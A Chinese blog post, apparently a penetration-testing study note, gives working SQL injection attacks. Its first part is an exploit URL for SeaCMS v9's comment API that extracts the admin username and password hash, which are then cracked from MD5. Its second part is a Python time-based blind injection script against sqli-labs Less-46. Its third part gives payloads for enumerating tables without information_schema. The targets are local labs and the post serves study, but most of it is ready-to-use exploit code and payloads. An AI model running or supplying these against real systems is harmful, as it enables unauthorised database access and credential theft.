渗透小测试

一.seacmsv9注入管理员账号密码

1.seacms漏洞介绍

海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构,seacmsv9漏洞文件: ./comment/api/index.php,漏洞参数:$rlist
 

2.漏洞注入

由于seacms开源,在github上可以下载源文档,可以知道seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

分析源码,可以做出如下尝试:

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

 出现如下情况

通过抓包得到以下信息:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

在这段代码中出现了sea_comment这个表,查询这个表发现没有信息: 

 尝试在这个表中添加信息:

再次测试:

出现用户名

同样注入密码:

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

MD5转换:

得出密码

二.order by盲注

这里用sql靶场46关做测试

sort参数传入id:

sort参数传入username:

以上两种结果可知存在排序

查看源码可知sort前面有order by

因此可以利用时间盲注,爆破出数据库

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # 构造时间盲注payload
            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqlilab/Less-46/index.php'
    inject_database(url)

三.如何绕过information_schema

1.通过schema_auto_increment_columns

SELECT table_schema, table_name, column_name FROM sys.schema_auto_increment_columns WHERE table_schema = database();

2.猜测常见表名/列名

尝试常见表名(如 usersadmincustomer)和列名(如 usernamepassword):

UNION SELECT 1,2,3 FROM users -- 若存在users表,可能返回数据

 3.盲注获取

如果无法直接获取元数据,可通过盲注技术逐字符猜解表名、列名:

  • 布尔盲注:通过条件语句判断字符是否存在。
AND (SELECT SUBSTR(table_name,1,1) FROM (SELECT table_name FROM some_known_table LIMIT 1) x) = 'a'
  •  ​​​​​​​​时间盲注:通过延迟函数(如 SLEEP())推断字符。
IF(SUBSTR((SELECT table_name FROM ...),1,1)='a', SLEEP(2), 0)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值